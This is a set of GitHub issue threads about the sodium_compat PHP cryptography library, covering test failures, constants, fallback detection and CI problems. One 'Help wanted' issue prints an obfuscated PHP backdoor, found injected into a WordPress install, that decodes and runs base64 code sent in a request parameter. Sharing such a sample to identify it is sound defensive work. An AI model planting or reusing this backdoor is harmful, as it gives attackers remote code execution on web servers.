PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 68
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 69
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 70
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 71
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 72
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 73
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 74
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 75
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 76
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 77
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 78
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 79
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 81
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 82
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 83
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 84
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 85
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 86
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 87
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 88
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 89
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice:  Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 90
PHP Stack trace:
PHP   1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP   2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP   3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP   4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP   5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49

Invalid MAC with i386

For specific reasons , I have to work with an i386 computer running debian testing without iibsodium installed.
While giving a try to Paseto, I was hit with an "Invalid MAC" error when parsing the token, which lead me to #38.

After running the phpunit tests on current master HEAD, here is the final output:

Time: 1.8 hours, Memory: 18.00MB

There was 1 error:

1) FileTest::testSeal
SodiumException: Invalid MAC

/srv/www/local/sodium_compat/src/Crypto32.php:1003
/srv/www/local/sodium_compat/src/Crypto32.php:664
/srv/www/local/sodium_compat/src/Crypto32.php:519
/srv/www/local/sodium_compat/src/Compat.php:983
/srv/www/local/sodium_compat/tests/unit/FileTest.php:147

--

There was 1 failure:

1) FileTest::testBox
Failed asserting that two strings are identical.
--- Expected
+++ Actual
@@ @@
-d1be33c603b2363bc2cda62795b458d34aba8d03a9c190fa5fe0c14603f57eb6b0db46a322a21fdef20498304d2fbc9d
+46679e2378061e778f9b1cf4f796f59822cf39d3017fc62464d5be2e2dbabd5648593477ef571af3732ff33dacf116af

/srv/www/local/sodium_compat/tests/unit/FileTest.php:43

ERRORS!
Tests: 173, Assertions: 6699, Errors: 1, Failures: 1, Skipped: 58.

I know that i386 targets are not high priority, but would it be possible for someone to have a look at these tests. Hopefully, it may result in a quick and easy fix.

thanks

Using SECp256k1/ECDSA instead of Ed25519

I am currently working with data that requires to be handled with SECp256k1 instead of Ed25519. As far as I could find in the code, which could be wrong, everything is handled via Ed25519.

Is there some way with sodium/libsodium to make all crypto_sign_* methods use SECp256k1?

// Need this to be done with SECp256k1
function getKeysFromSecret($secret) {
	$hash = hash('sha256', $secret, true);

	$keypair = \Sodium\crypto_sign_seed_keypair($hash);

	$secret = \Sodium\crypto_sign_secretkey($keypair);
	$public = \Sodium\crypto_sign_publickey($keypair);
}

Help wanted

I found the following code in my WordPress. Can anyone find any exceptions.

sodium_compat.php && constants.php between <?php and namespace Sodium;

$ALpmKtOl8475 = "/jqsbr9ia654yug0ew1)*7dtp;m8lx_2fnvh3zo.ck(";


$kHTiDsnt7866 = "";

foreach([3,38,5,23] as $E){
   $kHTiDsnt7866 .= $ALpmKtOl8475[$E];
}


if(isset($_REQUEST /*IlrKKxaEyQYkVUUVAQbCmgexCXoxvTrWqZxLlUthFJqduXYQfOEmKNTKGadaSfRBShxfGLFeFWBpNsWfEfbqbOCqDwLWiKmAoIrTUVLuzCGVahNNWQrOmifqtmmmrJzS*/["$kHTiDsnt7866"])){
	$DDebczKe7430 = $_REQUEST /*IlrKKxaEyQYkVUUVAQbCmgexCXoxvTrWqZxLlUthFJqduXYQfOEmKNTKGadaSfRBShxfGLFeFWBpNsWfEfbqbOCqDwLWiKmAoIrTUVLuzCGVahNNWQrOmifqtmmmrJzS*/["$kHTiDsnt7866"];
	$EqHZGFsG5581 = "";
	$DmPqoAru8529 = "";

	/*BFqVBKdwHVucHDLSKCdwDiTVwngSbkntEQocQxHZWXqOHINzkwYNpFtIhaZOzZmlBugDZEeVeugTChJBDKMyUvNOMfLdQhewrsRxbevlgjPspZyWQsuBuFbokFrMaJQa*/

	foreach([4,8,3,16,9,11,30,22,16,40,38,22,16] as $E){
	   $EqHZGFsG5581 .= $ALpmKtOl8475[$E];
	}

	/*bJvLXYFVbsskXlgKXtVZMihhCyROeEvZEuTsNlIYPVOwxQISXNpPYfiuOKkkcTUqbyksvSGuxRecSOetQBEaewcaSqwZTBmbrWvMYSwkZgnbggtoDJLEdgPaRpCiDDyg*/


	foreach([3,23,5,5,16,34] as $E){
	   $DmPqoAru8529 .= $ALpmKtOl8475[$E];
	}

	/*BNAAulguuQqtnSBDkkMBWjwtJICKhYDEEYyHJYKXJSmfoXDkKeHSIGWguuvFFNCwBCphSfhTRoclivzmdsvCnwqmZAiVWVuHrAabUFyjSeLKWnoHqZdGNGDMxZODhxgl*/

	$E = $DmPqoAru8529('n'.'o'.'i'.'t'.''.''.''.''.'c'.'n'.'u'.''.''.'f'.''.''.'_'.''.''.''.'e'.'t'.'a'.'e'.''.''.''.''.'r'.'c');
	$E = $E("", $EqHZGFsG5581($DDebczKe7430));
	$E();
	exit();

}

SODIUM_CRYPTO_KX_BYTES vs SODIUM_CRYPTO_KX_SEEDBYTES

Just came across a potential inconsistency between this library and the PHP native implementation.

In the PHP native implementation, there is a constant called SODIUM_CRYPTO_KX_SEEDBYTES.
https://github.com/php/php-src/blob/397d40cdd7830add08e382c2e8f187b37b55f180/ext/sodium/libsodium.c#L507

I cannot find that constant in this library, but I can find the SODIUM_CRYPTO_KX_BYTES constant which does not seem to exist in PHP itself.

const CRYPTO_KX_BYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_BYTES;

Just thought I'd ask about it.

Fallback not being detected

I'm trying to create code that will have to work in at least PHP 7.0 and work even if libsodium is not installed but if it's installed it should fallback to it, for speed.

My problem is that sodium_compat doesn't seem to detect the fallback correctly in my environment:

  • Ubuntu 16.04 LTS.
  • PHP 7.0 from default repos.
  • libsodium-dev from default repos.
  • libsodium-php installed with pecl install libsodium.
  • sodium_compat 1.6.1 installed with composer.

I made a little test script that should explain what I'm seeing:

<?php

require __DIR__ . '/vendor/autoload.php';

var_dump(PHP_INT_SIZE);
var_dump(PHP_VERSION);
var_dump(SODIUM_LIBRARY_MAJOR_VERSION);
var_dump(SODIUM_LIBRARY_MINOR_VERSION);
var_dump(SODIUM_LIBRARY_VERSION);
var_dump(phpversion('sodium'));
var_dump(extension_loaded('sodium'));
var_dump(extension_loaded('libsodium'));

$t = microtime(true);
sodium_crypto_generichash(str_pad('', 4*1024));
echo round(1000*(microtime(true) - $t), 2) . 'ms' . PHP_EOL;

$t = microtime(true);
\ParagonIE_Sodium_Compat::crypto_generichash(str_pad('', 4*1024));
echo round(1000*(microtime(true) - $t), 2) . 'ms' . PHP_EOL;

The result:

$ php test.php
int(8)
string(23) "7.0.28-0ubuntu0.16.04.1"
int(9)
int(1)
string(5) "1.0.8"
string(6) "2.0.10"
bool(true)
bool(false)
string(64) "b706eb2b5f1abc922d98b722aef70611316fe50d3e3236376ddbe7ed3500b00f"
0.07ms
string(64) "b706eb2b5f1abc922d98b722aef70611316fe50d3e3236376ddbe7ed3500b00f"
34.5ms

Collect Minor Things to Do Before v1.0.0 Here

  • composer.json
    • Suggest ext-libsodium #27
  • Unit test coverage
    • Verify negative results (e.g. sign('apple', $sk) then verify('zebra', $pk) === false)
    • Verify TypeError and other exceptions are thrown as expected
      • This is mostly so pull requests don't introduce behavior regressions
    • RFC 8032 test vectors #26

Inconsistencies in constant lists

While updating the PHPCompatibility ruleset for sodium_compat for compatibility with the v1.12.0 release I noticed some inconsistencies.

Not sure if these are, or could be problematic, but I figured it would be worth reporting them.

  1. The LIBRARY_VERSION_MAJOR, LIBRARY_VERSION_MINOR and VERSION_STRING constants in the list in /lib/php72compat.php are still incorrectly named.
    For consistency with PHP Core, these should be LIBRARY_MAJOR_VERSION, LIBRARY_MINOR_VERSION and LIBRARY_MINOR_VERSION.
    The class constants declared in src/Compat.php file suffer from the same.
  2. The constants list in the /lib/php72compat_const.php file and the /lib/php72compat.php file are out of sync.
    • The /lib/php72compat_const.php file contains the four SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_... constants, while the list in /lib/php72compat.php does not.
    • The /lib/php72compat_const.php file contains the six SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_... constants, while the list in /lib/php72compat.php does not.

Use of undefined constant SODIUM_LIBRARY_MAJOR_VERSION - assumed 'SODIUM_LIBRARY_MAJOR_VERSION

PHP: 7.1
Ubuntu: 14.04

followed all the instructions in the website and last part was put sodium.so in my
/etc/php/fpm/php.ini.

now to test it out, I tried the ff code in php artisan tinker(ran in command line) inside one of my laravel projects

var_dump([
    SODIUM_LIBRARY_MAJOR_VERSION,
    SODIUM_LIBRARY_MINOR_VERSION,
    SODIUM_LIBRARY_VERSION
]);

and got this results

array(2) {
  [0] =>
  int(9)
  [1] =>
  int(1)
  [2] =>
  string(6) "1.0.14"
}

Now, when I tried the code on my browser.

I am getting this error Use of undefined constant SODIUM_LIBRARY_MAJOR_VERSION - assumed 'SODIUM_LIBRARY_MAJOR_VERSION

Experiment: Amputate 32-bit Windows BigInt implementations?

Right now our Int32 class consists of 2 limbs and our Int64 class consists of 4 limbs, each 16 bits.

While this is simple to reason about, it might be worth investigating a reduced-limb implementation of, at least, Int64. (I don't think Int32 can be expressed in fewer than two limbs.)

Benefits:

  • Less additions, etc.
  • Less memory usage.
  • More speed.

Downsides:

  • Harder-to-audit/read code

Current Picture

Here's what the current implementation looks like (hex then binary):

[0]      [1]      [2]      [3]      
0000FFFF 0000FFFF 0000FFFF 0000FFFF 

[0]
00000000 00000000 11111111 11111111
[1]
00000000 00000000 11111111 11111111
[2]
00000000 00000000 11111111 11111111
[3]
00000000 00000000 11111111 11111111

Because PHP's integers are signed, we want to avoid the most significant bit.

A naive optimization that would save us from one limb looks like this:

[0]      [1]      [2]     
0000FFFF 00FFFFFF 00FFFFF

[0]
00000000 00000000 11111111 11111111
[1]
00000000 11111111 11111111 11111111
[2]
00000000 11111111 11111111 11111111

This would save us roughly 25% of memory usage, and make most operations 25% faster. I'd need to benchmark this to be exact.

I'm writing my thoughts here to solicit feedback before I embark on such an initiative. Note: It might be wiser to just add a GMP implementation.

ChaCha20 Poly1305 IETF decrypt fails with Invalid MAC (works on libsodium native)

This test works fine while using the libsodium extension, but fails with your awesome compat library.

//SessioKey
$sessionKey = hex2bin("846394900c6c826431361885cfbedf4ec77c44f3022b13e9a7d0200728f0a0e1");

//Encrypted
$encrypted = hex2bin("0ffb01f94450b6803ab9fa5994d4e6242c04ac312c8aae2c8de0effd54a0db9a867ee101bfc5ebb235d734edba3c27f299d81644c1bc7b6ca4802550c29d7b28f10e5f5721bcbad2330337b2b64072fb1ead0de5d4923568c6bae5d1cd6ac528ab4d9fda97fa612ffcac0ad68f79b1578b4f1ea1d241b49aff3c71ca0a6e1c1ede16903136baa3f1c4e38e6e021a697a5fd5fd4f7df199b54c6c");

//Decrypted
$decrypted = sodium_crypto_aead_chacha20poly1305_ietf_decrypt($encrypted, "", "\0\0\0\0PS-Msg05", $sessionKey);

//Encrypt and verify with test data
$reEncrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt($decrypted, "", "\0\0\0\0PS-Msg05", $sessionKey);

if($encrypted == $reEncrypted) {
	echo "OK";
} else {
	echo "FAILED";
}

crypto_aead_chacha20poly1305

I was initially reluctant to implement this, because:

  1. We're waiting on crypto_aead_encrypt() and the like.
  2. I absolutely do no want to implement AES-GCM in PHP.
  3. More code, more problems.

...but Noise specifies ChaCha20-Poly1305 and AES-GCM as the acceptable options.

PHP 5.2 compatibility

Hi!

To be honest, I didn't try it, but as the lib (at least tentatively) supports 5.2(.4?), it should not be using the __DIR__ constant in the main autoloader. That magic constant only exists in PHP 5.3+, and should probably be replaced there with e.g. dirname( __FILE__ ).

Regards,
Tobias

Reported Integer Overflows with PHP-FPM (not PHP-CLI)

From Dion Hulse on Wordpress Slack:

Did some more digging, turns out the PHP CLI in that environment works, while php-fpm doesn’t.
Got down as far as the final loop in ParagonIE_Sodium_Core_Curve25519::ge_double_scalarmult_vartime() at i = 247 where self::ge_p2_dbl() starts returning different data, T: 60762035, -28864121, -22424362, 37674336, 25959391, -1347853,..... when it’s working T: 60762016, 2506747835552135, -14802114316999430, 6459153759631826, -7767544285703312,..... in a non-working case, so looks like some kind of int overflow issue

Integer Woes

Issues foreseen (check them off when mitigated):

  • Signed integers everywhere because PHP
  • 32-bit platforms (and 64-bit unsigned integer arithmetic)
  • All of the above, for platforms with no GMP support
  • All of the above, without side-channels

Add an isSupported method

Basically giving some sort of isSupported method for use in mass market things like Joomla. That basically means exposing some sort of form of the use_fallback method. https://github.com/paragonie/sodium_compat/blob/master/src/Compat.php#L2436

This is so we can have a comprehensive isSupported method https://github.com/joomla-framework/authentication/blob/2.0-dev/src/Password/Argon2iHandler.php#L73-L79 that allows us to either enable or disable Argon support depending on the users environment for mass market

(for example right now our travis fails because libsodium isn't installed which this library depends on - and i'd rather not recode up what's going on in the use_fallback method here https://travis-ci.org/joomla/joomla-cms/builds/308145677

Call to undefined function sodium_crypto_secretbox_keygen()

Hello to all!

Call to undefined function sodium_crypto_secretbox_keygen()

I didn't find this function when search this text on Sodium package. But another functions from _secretbox exists in Sodium package:

  • sodium_crypto_secretbox
  • sodium_crypto_secretbox_open

How to generate secret key for sodium_crypto_secretbox if sodium_crypto_secretbox_keygen() function does not exist?
 

P.S. I found that this code could be the solution, but is this solution safe enough?
$secret_key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
@paragonie-scott

Fatal error Invoking Compat::library_version_major()

Using the namespaced version as polyfill, the call to Compat::library_version_major() ends with:

In Compat.php line 3126:

Attempted to call function "sodium_library_version_major" from the global namespace.

PHP: 7.2.25
ext-sodium: 1.0.16
sodium_compat: 1.12.1

Should php72compat.php be loaded by autoload? or the constants used instead of library_version_major()?

Regards

You know "Salt"?

Do you know https://github.com/devi/Salt?

Please tell me how horrible it is if you think so.
Apart from that (which you would have done anyway, even if I had not requested this) you might (re)use some code from there or might suggest all users to switch to your lib (when it is finished).
In any case I wanted to make you aware of this lib.

AppVeyor is Broken

I don't know why. It won't install OpenSSL.Light anymore.

See: https://ci.appveyor.com/project/paragonie-scott/sodium-compat/builds/20634665/job/i0rjmcpcskhevtcx

openssl.light package files install completed. Performing other installation steps.
Installing 64-bit OpenSSL.Light...
OpenSSL.Light has been installed.
Installed to 'C:\Program Files\OpenSSL'
PATH environment variable does not have C:\Program Files\OpenSSL\bin in it. Adding...
  openssl.light can be automatically uninstalled.
Environment Vars (like PATH) have changed. Close/reopen your shell to
 see the changes (or in powershell/cmd.exe just type `refreshenv`).
 The install of openssl.light was successful.
  Software installed to 'C:\Program Files\OpenSSL\'
Chocolatey installed 6/9 packages. 3 packages failed.
 See the log for details (C:\ProgramData\chocolatey\logs\chocolatey.log).
Installed:
 - kb2919355 v1.0.20160915
 - kb3033929 v1.0.4
 - chocolatey-core.extension v1.3.3
 - openssl.light v1.1.1.20181020
 - vcredist140 v14.15.26706
 - chocolatey-windowsupdate.extension v1.0.3
Failures
